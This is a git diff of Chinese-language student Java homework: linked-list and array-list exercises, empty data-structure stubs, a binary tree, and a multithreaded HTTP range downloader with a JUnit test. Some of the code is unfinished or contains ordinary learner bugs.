+	public Object get(int index){
+		checkElementIndex(index);
+		return findIndexNode(index);
+	}
+	public Object remove(int index){
+		checkElementIndex(index);
+		Object deleteData = null;
+
+		if(index == 0){
+			deleteData = removeFirst();
+		} else if(index == (size() - 1) ){
+			deleteData = removeLast();
+		} else {
+			Node temp = findBeforeInsertNode(index);
+			Node tempNext = temp.next;
+			deleteData = tempNext.data;
+
+			temp.next = tempNext.next;
+			tempNext = null;
+		}
+
+		return deleteData;
+	}
+
+	//6
+	private void checkElementIndex(int index) {
+		if ( !( index >= 0 && index < size ) )
+			throw new IndexOutOfBoundsException("Invalid Index:"+index);
+	}
+
+	public int size(){
+		return this.size;
+	}
+	
+	public void addFirst(Object o){
+		Node newNode = new Node();
+		newNode.data = o;
+		newNode.next = null;
+		if ( this.head == null  ) {
+			this.head = newNode;
+		} else {
+			newNode.next = this.head;
+			this.head = newNode;
+		}
+	}
+	private void addLast(Object o){
+		Node newNode = new Node();
+		newNode.data = o;
+		newNode.next = null;
+		if ( head == null ) {
+			head = newNode;
+		} else{
+			findBeforeInsertNode(this.size).next = newNode;
+		}
+	}
+	public Object removeFirst(){
+		Object data;
+		Node newHead = new Node();
+		newHead = this.head;
+		this.head = newHead.next;
+
+		data = newHead.data;
+		newHead = null;
+		return  data;
+	}
+	public Object removeLast(){
+		Object data;
+		Node last = findIndexNode(this.size() -1);
+		data = last.data;
+		last = null;
+
+		return data;
+	}
+	public Iterator iterator()
+	{
+		return new LinkedListIterator();
+	}
+
+	
+	private static  class Node{
+		Object data;
+		Node next;
+		
+	}
+	
+	/**
+	 * 把该链表逆置
+	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
+	 */
+	public  void reverse(){		
+		Node first ;
+		int currentIndex = 1;
+		this.head = findIndexNode(this.size - 1);
+		if(this.size() <= 1){
+			return;
+		}
+		while(currentIndex < this.size() ){
+			first = findIndexNode(this.size() - currentIndex);
+			first.next = findIndexNode(this.size - currentIndex - 1);
+			currentIndex++;
+		}
+	}
+	
+	/**
+	 * 删除一个单链表的前半部分
+	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
+	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
+
+	 */
+	public  void removeFirstHalf(){
+		checkElementIndex(this.size());
+
+		int mid = this.size / 2;
+		Node temp = this.head;
+		this.head = findIndexNode(mid);
+		for (int i = 0; i < mid; i++) {
+			Node T = temp.next;
+			temp = null;
+			temp = T;
+		}
+
+	}
+	
+	/**
+	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+	 * @param index
+	 * @param length
+	 */
+	public  void remove(int index, int length){
+		checkElementIndex(length + index );
+
+		Node before = findBeforeInsertNode(index);
+		Node temp = findIndexNode(index);
+		for (int i= 0; i < length; i++) {
+			Node T = temp.next;
+			temp = null;
+			temp = T;
+		}
+		before.next = temp;
+	}
+	/**
+	 * 假定当前链表和listB均包含已升序排列的整数
+	 * 从当前链表中取出那些listB所指定的元素
+	 * 例如当前链表 = 11->101->201->301->401->501->601->701
+	 * listB = 1->3->4->6
+	 * 返回的结果应该是[101,301,401,601]  
+	 * @param list
+	 */
+	public  int[] getElements(LinkedList list){
+		Node listNode = list.head;
+		Node myNode = this.head;
+		int[] data = new int[list.size()];
+		for (int i = 0; i < this.size(); i++) {
+			if(i == (Integer) listNode.data){
+				data[i] = (Integer)myNode.data;
+			}
+			myNode = myNode.next;
+		}
+
+		return data;
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 从当前链表中中删除在listB中出现的元素 
+
+	 * @param list
+	 */
+	
+	public  void subtract(LinkedList list){
+
+		int[] data = new int[list.size()];
+		for (int i = 0,j = 0; i < this.size(); i++) {
+			for (; j < list.size(); j++) {
+				if(this.get(i).equals(list.get(j))){
+					this.remove(i);
+					break;
+				}
+			}
+		}
+	}
+	
+	/**
+	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+	 * （选做）
+	 */
+	public  void removeDuplicateValues(){
+		
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
+	 * @param min
+	 * @param max
+	 * （选做）
+	 */
+	public  void removeRange(int min, int max){
+		
+	}
+	
+	/**
+	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
+	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
+	 * @param list
+	 */
+	public  LinkedList intersection( LinkedList list){
+        LinkedList listC = new LinkedList();
+
+        for (int i = 0,j = 0; i < this.size(); i++) {
+            for (; j < list.size(); j++) {
+                if(this.get(i).equals(list.get(j))){
+                    listC.add(this.get(i));
+                    break;
+                }
+            }
+        }
+
+
+
+		return listC;
+	}
+
+
+
+	/************Iterator**************/
+	private class LinkedListIterator implements Iterator{
+		private Node currentNode;
+		private int currentIndex;
+
+		public LinkedListIterator() {
+			// TODO Auto-generated constructor stub
+			this.currentIndex = 0;
+			this.currentNode = new Node();
+		}
+		@Override
+		public boolean hasNext() {
+			// TODO Auto-generated method stub
+			return currentIndex < size();
+		}
+
+		@Override
+		public Object next() {
+			// TODO Auto-generated method stub
+			checkElementIndex(currentIndex);
+			if ( currentNode.data == null ) {
+				this.currentNode = findIndexNode(currentIndex);
+			}
+			Object value = currentNode.data;
+			currentNode = currentNode.next;
+			currentIndex++;
+			return value;
+		}
+	}
+}
diff --git a/group23/729693763/Third_Homework3/DataStruct/List.java b/group23/729693763/Third_Homework3/DataStruct/List.java
new file mode 100644
index 0000000000..aa8b039453
--- /dev/null
+++ b/group23/729693763/Third_Homework3/DataStruct/List.java
@@ -0,0 +1,10 @@
+package com.zhous.DataStruct;
+
+public interface List {
+	void add(Object o);
+	void add(int index, Object o);
+	Object get(int index);
+	Object remove(int index);
+	int size();
+	Iterator iterator();
+}
diff --git a/group23/729693763/Third_Homework3/download/DownloadThread.java b/group23/729693763/Third_Homework3/download/DownloadThread.java
new file mode 100644
index 0000000000..3ab337e352
--- /dev/null
+++ b/group23/729693763/Third_Homework3/download/DownloadThread.java
@@ -0,0 +1,49 @@
+package com.zhous.download;
+
+import com.zhous.download.api.Connection;
+import com.zhous.download.api.DownloadListener;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.RandomAccessFile;
+
+public class DownloadThread extends Thread{
+
+	Connection conn;
+	int startPos;
+	int endPos;
+	File targetFile;
+	DownloadListener downloadListener;
+
+	public DownloadThread( Connection conn, int startPos, int endPos,File targetFile,DownloadListener downloadListener){
+		
+		this.conn = conn;		
+		this.startPos = startPos;
+		this.endPos = endPos;
+		this.targetFile = targetFile;
+		this.downloadListener = downloadListener;
+	}
+	public void run(){	
+		try {
+			//读取到指定长度的二进制数据
+			System.out.println(this.getName()+"开始下载");
+			byte[] data = conn.read(startPos,endPos);
+
+			//插入的file中去
+			RandomAccessFile raFile = new RandomAccessFile(this.targetFile,"rw");
+			raFile.seek(startPos);
+			raFile.write(data,0,endPos-startPos );
+
+			raFile.close();
+			//做完了
+			if(FileDownloader.isDownloadFinish() ){
+				downloadListener.notifyFinished();
+				System.out.println(this.getName()+"完成最后的下载，并写入文件");
+			}
+
+
+		}catch (IOException e){
+
+		}
+	}
+}
diff --git a/group23/729693763/Third_Homework3/download/FileDownloader.java b/group23/729693763/Third_Homework3/download/FileDownloader.java
new file mode 100644
index 0000000000..098f9408f0
--- /dev/null
+++ b/group23/729693763/Third_Homework3/download/FileDownloader.java
@@ -0,0 +1,96 @@
+package com.zhous.download;
+
+import com.zhous.download.api.Connection;
+import com.zhous.download.api.ConnectionException;
+import com.zhous.download.api.ConnectionManager;
+import com.zhous.download.api.DownloadListener;
+
+import java.io.File;
+import java.util.Set;
+
+
+public class FileDownloader {
+
+	String url="https://image.baidu.com/search/down?tn=download&word=download&ie=utf8&fr=detail&url=https%3A%2F%2Ftimgsa.baidu.com%2Ftimg%3Fimage%26quality%3D80%26size%3Db9999_10000%26sec%3D1490203615530%26di%3D2b1827956a01011d3634f3e04b01b15c%26imgtype%3D0%26src%3Dhttp%253A%252F%252Fimg15.3lian.com%252F2015%252Fh1%252F338%252Fd%252F157.jpg&thumburl=https%3A%2F%2Fss1.bdstatic.com%2F70cFvXSh_Q1YnxGkpoWK1HF6hhy%2Fit%2Fu%3D2613489365%2C2336631324%26fm%3D23%26gp%3D0.jpg";
+	private static int threadNum = 5;
+	private static int threadCount = 0;
+	int avgBytes = 0;
+
+	DownloadListener listener;
+	ConnectionManager cm;
+	File file = null;
+
+	public FileDownloader(String _url,String fileName) {
+		this.url = _url;
+		this.file = new File(fileName);
+	}
+
+	public void execute(){
+		// 在这里实现你的代码， 注意： 需要用多线程实现下载
+		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
+		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
+		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
+		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
+		// 具体的实现思路：
+		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
+		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
+		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
+		// 3. 把byte数组写入到文件中
+		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
+
+		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
+		Connection conn = null;
+		try {
+
+			conn = cm.open(this.url);
+			int length = conn.getContentLength();
+			avgBytes = length / threadNum;
+			//使用5个线程去下载；
+			for (int i = 0; i < threadNum; i++) {
+				int startPos = i*avgBytes;
+				int endPos = startPos + avgBytes - 1;
+				if(i == threadNum -1) {
+					endPos = length;
+				}
+
+				Connection c = cm.open(this.url);
+				DownloadThread thread = new DownloadThread(c,startPos,endPos,file,this.getListener());
+				thread.setName("Thread"+(i+1) );
+				thread.start();
+			}
+
+		} catch (ConnectionException e) {
+			e.printStackTrace();
+		}finally{
+			if(conn != null){
+				conn.close();
+			}
+		}
+
+
+
+
+	}
+
+
+
+	public void setListener (DownloadListener listener){
+		this.listener = listener;
+	}
+
+	public synchronized static  boolean isDownloadFinish(){
+		threadCount++;
+		return threadCount == threadNum;
+	}
+
+
+
+	public void setConnectionManager(ConnectionManager ucm){
+		this.cm = ucm;
+	}
+
+	public DownloadListener getListener(){
+		return this.listener;
+	}
+
+}
diff --git a/group23/729693763/Third_Homework3/download/FileDownloaderTest.java b/group23/729693763/Third_Homework3/download/FileDownloaderTest.java
new file mode 100644
index 0000000000..ca8817ba88
--- /dev/null
+++ b/group23/729693763/Third_Homework3/download/FileDownloaderTest.java
@@ -0,0 +1,58 @@
+package com.zhous.download;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.zhous.download.api.ConnectionManager;
+import com.zhous.download.api.DownloadListener;
+import com.zhous.download.impl.ConnectionManagerImpl;
+
+public class FileDownloaderTest {
+	boolean downloadFinished = false;
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testDownload() {
+
+		String url="http://www.mydeskcity.com//upload/pc/112/960x600/1351650816239.jpg";
+		String github = "https://github.com/em14Vito/coding2017/archive/master.zip";
+
+//		FileDownloader downloader = new FileDownloader(url,"Data23.jpg");
+		FileDownloader downloader = new FileDownloader(github,"github.zip");
+	
+		ConnectionManager cm = new ConnectionManagerImpl();
+		downloader.setConnectionManager(cm);
+		
+		downloader.setListener(new DownloadListener() {
+			@Override
+			public void notifyFinished() {
+				downloadFinished = true;
+			}
+
+		});
+		downloader.execute();
+
+		// 等待多线程下载程序执行完毕
+		while (!downloadFinished) {
+			try {
+				System.out.println("还没有下载完成，休眠五秒");
+				//休眠5秒
+				Thread.sleep(5000);
+			} catch (InterruptedException e) {
+				e.printStackTrace();
+			}
+		}
+		System.out.println("下载完成！");
+		
+		
+
+	}
+
+}
diff --git a/group23/729693763/Third_Homework3/download/api/Connection.java b/group23/729693763/Third_Homework3/download/api/Connection.java
new file mode 100644
index 0000000000..170791e8ba
--- /dev/null
+++ b/group23/729693763/Third_Homework3/download/api/Connection.java
@@ -0,0 +1,23 @@
+package com.zhous.download.api;
+
+import java.io.IOException;
+
+public interface Connection {
+	/**
+	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
+	 * @param startPos 开始位置， 从0开始
+	 * @param endPos 结束位置
+	 * @return
+	 */
+	public byte[] read(int startPos, int endPos) throws IOException;
+	/**
+	 * 得到数据内容的长度
+	 * @return
+	 */
+	public int getContentLength();
+	
+	/**
+	 * 关闭连接
+	 */
+	public void close();
+}
diff --git a/group23/729693763/Third_Homework3/download/api/ConnectionException.java b/group23/729693763/Third_Homework3/download/api/ConnectionException.java
new file mode 100644
index 0000000000..925368135d
--- /dev/null
+++ b/group23/729693763/Third_Homework3/download/api/ConnectionException.java
@@ -0,0 +1,5 @@
+package com.zhous.download.api;
+
+public class ConnectionException extends Exception {
+
+}
diff --git a/group23/729693763/Third_Homework3/download/api/ConnectionManager.java b/group23/729693763/Third_Homework3/download/api/ConnectionManager.java
new file mode 100644
index 0000000000..b331ee7f1f
--- /dev/null
+++ b/group23/729693763/Third_Homework3/download/api/ConnectionManager.java
@@ -0,0 +1,10 @@
+package com.zhous.download.api;
+
+public interface ConnectionManager {
+	/**
+	 * 给定一个url , 打开一个连接
+	 * @param url
+	 * @return
+	 */
+	public Connection open(String url) throws ConnectionException;	
+}
diff --git a/group23/729693763/Third_Homework3/download/api/DownloadListener.java b/group23/729693763/Third_Homework3/download/api/DownloadListener.java
new file mode 100644
index 0000000000..07b1a950ce
--- /dev/null
+++ b/group23/729693763/Third_Homework3/download/api/DownloadListener.java
@@ -0,0 +1,5 @@
+package com.zhous.download.api;
+
+public interface DownloadListener {
+	public void notifyFinished();
+}
diff --git a/group23/729693763/Third_Homework3/download/impl/ConnectionImpl.java b/group23/729693763/Third_Homework3/download/impl/ConnectionImpl.java
new file mode 100644
index 0000000000..6a4b98fe06
--- /dev/null
+++ b/group23/729693763/Third_Homework3/download/impl/ConnectionImpl.java
@@ -0,0 +1,80 @@
+package com.zhous.download.impl;
+
+import java.io.ByteArrayOutputStream;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.HttpURLConnection;
+import java.net.MalformedURLException;
+import java.net.URL;
+import java.net.URLConnection;
+
+import com.zhous.download.api.*;
+
+public class ConnectionImpl implements Connection{
+
+
+	InputStream is = null;
+	URL url = null;
+	HttpURLConnection http = null;
+	ByteArrayOutputStream bos = new ByteArrayOutputStream();
+
+	//构造方法：
+	public ConnectionImpl() {
+	}
+
+	//打开url并且创建连接
+	public ConnectionImpl(String url) {
+		try {
+			this.url = new URL(url);
+			http = (HttpURLConnection) this.url.openConnection();
+			//设置超时
+			http.setConnectTimeout(5000);
+			http.setReadTimeout(5000);
+
+		} catch (IOException e) {
+			e.printStackTrace();
+		}
+	}
+
+	@Override
+	public byte[] read(int startPos, int endPos) throws IOException {
+
+		//指定http中读取一定长度的byte
+		http.setRequestProperty("Range","bytes= "+Integer.toString(startPos)+"-"+Integer.toString(endPos));
+		http.connect();
+
+		//读取输入流到其中
+		is = http.getInputStream();
+		byte[] buffer = new byte[1024];
+		int len = 0;
+		while( (len = is.read(buffer) ) != -1) {
+
+			bos.write(buffer, 0, len);
+		}
+
+		//关闭所有流，每次read的时候自动关闭。
+		close();
+		return bos.toByteArray();
+	}
+
+	@Override
+	public int getContentLength() {
+		return http.getContentLength();
+	}
+
+	@Override
+	public void close() {
+		try {
+			bos.close();
+			if(is != null) {
+				is.close();
+			}
+			http.disconnect();
+		} catch (IOException e) {
+			e.printStackTrace();
+			System.out.println(e.getMessage());
+		}
+	}
+
+}
diff --git a/group23/729693763/Third_Homework3/download/impl/ConnectionManagerImpl.java b/group23/729693763/Third_Homework3/download/impl/ConnectionManagerImpl.java
new file mode 100644
index 0000000000..28af08a0cd
--- /dev/null
+++ b/group23/729693763/Third_Homework3/download/impl/ConnectionManagerImpl.java
@@ -0,0 +1,27 @@
+package com.zhous.download.impl;
+
+import  com.zhous.download.api.*;
+
+import java.net.MalformedURLException;
+import java.net.URL;
+
+public class ConnectionManagerImpl implements ConnectionManager {
+
+
+
+	@Override
+	public Connection open(String url) throws ConnectionException {
+		Connection ct = null;
+		URL u = null;
+		try {
+			u = new URL(url);
+			ct = new ConnectionImpl(url);
+		} catch (MalformedURLException e) {
+			e.printStackTrace();
+		} finally {
+			//URL类不需要关闭
+		}
+		return ct;
+	}
+
+}
diff --git a/group23/729693763/homework1_demo/ArrayList.java b/group23/729693763/homework1_demo/ArrayList.java
new file mode 100644
index 0000000000..1f185736f9
--- /dev/null
+++ b/group23/729693763/homework1_demo/ArrayList.java
@@ -0,0 +1,32 @@
+package com.coding.basic;
+
+public class ArrayList implements List {
+	
+	private int size = 0;
+	
+	private Object[] elementData = new Object[100];
+	
+	public void add(Object o){
+		
+	}
+	public void add(int index, Object o){
+		
+	}
+	
+	public Object get(int index){
+		return null;
+	}
+	
+	public Object remove(int index){
+		return null;
+	}
+	
+	public int size(){
+		return -1;
+	}
+	
+	public Iterator iterator(){
+		return null;
+	}
+	
+}
diff --git a/group23/729693763/homework1_demo/BinaryTreeNode.java b/group23/729693763/homework1_demo/BinaryTreeNode.java
new file mode 100644
index 0000000000..d7ac820192
--- /dev/null
+++ b/group23/729693763/homework1_demo/BinaryTreeNode.java
@@ -0,0 +1,32 @@
+package com.coding.basic;
+
+public class BinaryTreeNode {
+	
+	private Object data;
+	private BinaryTreeNode left;
+	private BinaryTreeNode right;
+	
+	public Object getData() {
+		return data;
+	}
+	public void setData(Object data) {
+		this.data = data;
+	}
+	public BinaryTreeNode getLeft() {
+		return left;
+	}
+	public void setLeft(BinaryTreeNode left) {
+		this.left = left;
+	}
+	public BinaryTreeNode getRight() {
+		return right;
+	}
+	public void setRight(BinaryTreeNode right) {
+		this.right = right;
+	}
+	
+	public BinaryTreeNode insert(Object o){
+		return  null;
+	}
+	
+}
diff --git a/group23/729693763/homework1_demo/Iterator.java b/group23/729693763/homework1_demo/Iterator.java
new file mode 100644
index 0000000000..06ef6311b2
--- /dev/null
+++ b/group23/729693763/homework1_demo/Iterator.java
@@ -0,0 +1,7 @@
+package com.coding.basic;
+
+public interface Iterator {
+	public boolean hasNext();
+	public Object next();
+
+}
diff --git a/group23/729693763/homework1_demo/LinkedList.java b/group23/729693763/homework1_demo/LinkedList.java
new file mode 100644
index 0000000000..4fdb03db8a
--- /dev/null
+++ b/group23/729693763/homework1_demo/LinkedList.java
@@ -0,0 +1,124 @@
+package com.coding.basic;
+
+
+
+public class LinkedList implements List {
+	
+	private Node head;
+	
+	public void add(Object o){
+		
+	}
+	public void add(int index , Object o){
+		
+	}
+	public Object get(int index){
+		return null;
+	}
+	public Object remove(int index){
+		return null;
+	}
+	
+	public int size(){
+		return -1;
+	}
+	
+	public void addFirst(Object o){
+		
+	}
+	public void addLast(Object o){
+		
+	}
+	public Object removeFirst(){
+		return null;
+	}
+	public Object removeLast(){
+		return null;
+	}
+	public Iterator iterator(){
+		return null;
+	}
+	
+	
+	private static  class Node{
+		Object data;
+		Node next;
+		
+	}
+	
+	/**
+	 * 把该链表逆置
+	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
+	 */
+	public  void reverse(){		
+		
+	}
+	
+	/**
+	 * 删除一个单链表的前半部分
+	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
+	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
+
+	 */
+	public  void removeFirstHalf(){
+		
+	}
+	
+	/**
+	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+	 * @param i
+	 * @param length
+	 */
+	public  void remove(int i, int length){
+		
+	}
+	/**
+	 * 假定当前链表和list均包含已升序排列的整数
+	 * 从当前链表中取出那些list所指定的元素
+	 * 例如当前链表 = 11->101->201->301->401->501->601->701
+	 * listB = 1->3->4->6
+	 * 返回的结果应该是[101,301,401,601]  
+	 * @param list
+	 */
+	public static int[] getElements(LinkedList list){
+		return null;
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 从当前链表中中删除在list中出现的元素 
+
+	 * @param list
+	 */
+	
+	public  void subtract(LinkedList list){
+		
+	}
+	
+	/**
+	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+	 */
+	public  void removeDuplicateValues(){
+		
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
+	 * @param min
+	 * @param max
+	 */
+	public  void removeRange(int min, int max){
+		
+	}
+	
+	/**
+	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
+	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
+	 * @param list
+	 */
+	public  LinkedList intersection( LinkedList list){
+		return null;
+	}
+}
diff --git a/group23/729693763/homework1_demo/List.java b/group23/729693763/homework1_demo/List.java
new file mode 100644
index 0000000000..10d13b5832
--- /dev/null
+++ b/group23/729693763/homework1_demo/List.java
@@ -0,0 +1,9 @@
+package com.coding.basic;
+
+public interface List {
+	public void add(Object o);
+	public void add(int index, Object o);
+	public Object get(int index);
+	public Object remove(int index);
+	public int size();
+}
diff --git a/group23/729693763/homework1_demo/Queue.java b/group23/729693763/homework1_demo/Queue.java
new file mode 100644
index 0000000000..36e516e266
--- /dev/null
+++ b/group23/729693763/homework1_demo/Queue.java
@@ -0,0 +1,19 @@
+package com.coding.basic;
+
+public class Queue {
+	
+	public void enQueue(Object o){		
+	}
+	
+	public Object deQueue(){
+		return null;
+	}
+	
+	public boolean isEmpty(){
+		return false;
+	}
+	
+	public int size(){
+		return -1;
+	}
+}
diff --git a/group23/729693763/homework1_demo/Stack.java b/group23/729693763/homework1_demo/Stack.java
new file mode 100644
index 0000000000..a5a04de76d
--- /dev/null
+++ b/group23/729693763/homework1_demo/Stack.java
@@ -0,0 +1,22 @@
+package com.coding.basic;
+
+public class Stack {
+	private ArrayList elementData = new ArrayList();
+	
+	public void push(Object o){		
+	}
+	
+	public Object pop(){
+		return null;
+	}
+	
+	public Object peek(){
+		return null;
+	}
+	public boolean isEmpty(){
+		return false;
+	}
+	public int size(){
+		return -1;
+	}
+}
diff --git a/group23/729693763/readme.md b/group23/729693763/readme.md
new file mode 100644
index 0000000000..89b8633e07
--- /dev/null
+++ b/group23/729693763/readme.md
@@ -0,0 +1,12 @@
+Data Struct contain: ArrayList, LinkedList, BinaryTreeNode, Stack, Queue, Iterator
+<<<<<<< HEAD
+--- ---
+Add Blog link:
+http://www.cnblogs.com/CodeSaveMe/p/6523745.html
+=======
+--- --- 
+Add Blog link: http://www.cnblogs.com/CodeSaveMe/p/6523745.html
+
+Add week2 Blog link:http://www.cnblogs.com/CodeSaveMe/p/6571621.html
+
+Add week3 Blog link:http://www.cnblogs.com/CodeSaveMe/p/6624431.html
diff --git a/group23/769232552/coding/src/main/java/code01/ArrayList.java b/group23/769232552/coding/src/main/java/code01/ArrayList.java
new file mode 100644
index 0000000000..6746de2a50
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code01/ArrayList.java
@@ -0,0 +1,138 @@
+package code01;
+
+/**
+ * Created by yaoyuan on 2017/3/6.
+ */
+public class ArrayList implements List {
+
+    private int max_size = 0;//总长度
+    private int current_size = 0; //当前长度
+    private float extendPercent = 2; //扩展系数
+
+    private Object[] elementData;
+
+    /**
+     * 默认构造函数，初始化数组长度为100
+     */
+    public ArrayList(){
+        this.elementData = new Object[100];
+        this.max_size = 100;
+    }
+    /**
+     * 构造函数
+     * @param size，初始化数组长度
+     */
+    public ArrayList(int size){
+        this.elementData = new Object[size];
+        this.max_size = size;
+    }
+
+    /**
+     * 顺序添加元素，超出原始界限时，数组自动扩展
+     */
+    public void add(Object o) {
+        //如果越界了，需要复制原有的数组到扩充后的数组中
+        if(this.current_size + 1 > this.max_size) {
+            this.max_size = (int) Math.floor(this.max_size * this.extendPercent);
+            this.elementData = copyToNew(this.elementData,this.max_size);
+        }
+        this.elementData[this.current_size] = o;
+        this.current_size ++;
+
+    }
+
+    /**
+     * 指定位置添加元素
+     * 一种是在中间，一种是当前插入的位置尾部(如果超过尾部则默认添加到尾部)
+     */
+    public void add(int index, Object o){
+        assert(index>=0);
+        //如果越界了，需要复制原有的数组到扩充后的数组中
+        if(this.current_size + 1 > this.max_size) {
+            //如果越界了，需要复制原有的数组到扩充后的数组中
+            this.max_size = (int) Math.floor(this.max_size * this.extendPercent);
+            this.elementData = copyToNew(this.elementData,this.max_size);
+        }
+        //数组中间插入
+        if(index < this.current_size){
+            //需要把当前位置的元素往后移动
+            for (int i = this.current_size - 1; i >= index; i--) {
+                this.elementData[i+1] = this.elementData[i];
+            }
+            this.elementData[index] = o;
+        }else {
+            //后面加入
+            this.elementData[this.current_size] = o;
+        }
+        this.current_size ++;
+    }
+
+    public Object get(int index){
+        if(index >= 0 && index <= this.current_size-1){
+            return this.elementData[index];
+        }else {
+            throw new ArrayIndexOutOfBoundsException(index);
+        }
+    }
+
+    /**
+     * 删除指定位置的元素
+     * @param index
+     * @return
+     */
+    public Object remove(int index){
+        Object result = null;
+        if(index >= 0 && index <= current_size-1){
+            result = elementData[index];
+            //删除操作
+            if(index == current_size - 1){
+                elementData[index] = null;
+            }else {
+                //需要把当前位置后面的元素往前移动
+                for (int i = index; i < this.current_size-1 ; i++) {
+                    this.elementData[i] = this.elementData[i+1];
+                }
+                this.elementData[this.current_size-1] = null;
+            }
+            this.current_size --;
+        }else {
+            throw new ArrayIndexOutOfBoundsException(index);
+        }
+        return result;
+    }
+
+    public int size(){
+        return this.current_size;
+    }
+
+    public Iterator iterator(){
+        return new Iterator() {
+            int next_pos = 0;
+            int pos = -1;
+            public boolean hasNext() {
+                if(max_size <= 0){
+                    return false;
+                }
+                return next_pos < ArrayList.this.size();
+            }
+
+            public Object next() {
+                Object next = ArrayList.this.get(next_pos);
+                pos = next_pos ++;
+                return next;
+            }
+            public void remove(){
+                ArrayList.this.remove(pos);
+            }
+        };
+    }
+
+    private Object[] copyToNew(Object[] oldArray, int extendSize){
+        Object[] newArray = new Object[extendSize];
+        for (int i = 0; i < size(); i++) {
+            newArray[i] = oldArray[i];
+        }
+        return newArray;
+    }
+
+}
\ No newline at end of file
diff --git a/group23/769232552/coding/src/main/java/code01/BinaryTree.java b/group23/769232552/coding/src/main/java/code01/BinaryTree.java
new file mode 100644
index 0000000000..b29fb960cb
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code01/BinaryTree.java
@@ -0,0 +1,97 @@
+package code01;
+
+/**
+ * Created by yaoyuan on 2017/3/10.
+ */
+public class BinaryTree<T extends Comparable<T>>{
+
+    private BinaryTreeNode root = null;
+    private int size = 0;
+
+    public BinaryTreeNode createBinaryTree(T[] array){
+        for(T data : array){
+            this.insert(data);
+        }
+        return this.root;
+    }
+
+    // recursive way,
+    // t is the node that roots the subtree.
+    public BinaryTreeNode<T> insert(T data, BinaryTreeNode t){
+        if(t == null){
+            return new BinaryTreeNode<T>(data);
+        }
+        int comparator = ((T) t.data).compareTo(data);
+        if(comparator > 0){
+            t.left = insert(data,t.right);
+        }else if(comparator < 0){
+            t.right = insert(data,t.left);
+        }else {
+            // do nothing
+        }
+        return t;
+
+    }
+
+
+    //loop way
+    public void insert(T data){
+        if(this.root == null){
+            BinaryTreeNode node = new BinaryTreeNode(data);
+            this.root = node;
+            this.size ++;
+            return;
+        }
+        BinaryTreeNode cursor = this.root;
+        while (cursor != null){
+            if(data.compareTo((T) cursor.data) <= 0){
+                if(cursor.left == null) {
+                    cursor.left = new BinaryTreeNode(data);
+                    return;
+                }
+                cursor = cursor.left;
+            }
+            if(data.compareTo((T) cursor.data) > 0){
+                if(cursor.right == null) {
+                    cursor.right = new BinaryTreeNode(data);
+                    return;
+                }
+                cursor = cursor.right;
+            }
+        }
+        this.size ++;
+    }
+
+    public void leftOrderScan(BinaryTreeNode cursor){
+        if(cursor == null){
+            return;
+        }
+        leftOrderScan(cursor.left);
+        System.out.println(cursor.data.toString() + " ");
+        leftOrderScan(cursor.right);
+    }
+
+    public BinaryTreeNode getRoot(){
+        return this.root;
+    }
+
+    class BinaryTreeNode<T> {
+
+        private T data;
+        private BinaryTreeNode left;
+        private BinaryTreeNode right;
+
+        public BinaryTreeNode(T data, BinaryTreeNode left, BinaryTreeNode right) {
+            this.left = right;
+            this.right = left;
+            this.data = data;
+        }
+
+        public BinaryTreeNode(T data) {
+            this.left = null;
+            this.right = null;
+            this.data = data;
+        }
+
+    }
+}
diff --git a/group23/769232552/coding/src/main/java/code01/Iterator.java b/group23/769232552/coding/src/main/java/code01/Iterator.java
new file mode 100644
index 0000000000..b4074067bb
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code01/Iterator.java
@@ -0,0 +1,7 @@
+package code01;
+
+public interface Iterator {
+	public boolean hasNext();
+	public Object next();
+	public void remove();
+}
diff --git a/group23/769232552/coding/src/main/java/code01/LinkedList.java b/group23/769232552/coding/src/main/java/code01/LinkedList.java
new file mode 100644
index 0000000000..f7bbc970a9
--- /dev/null
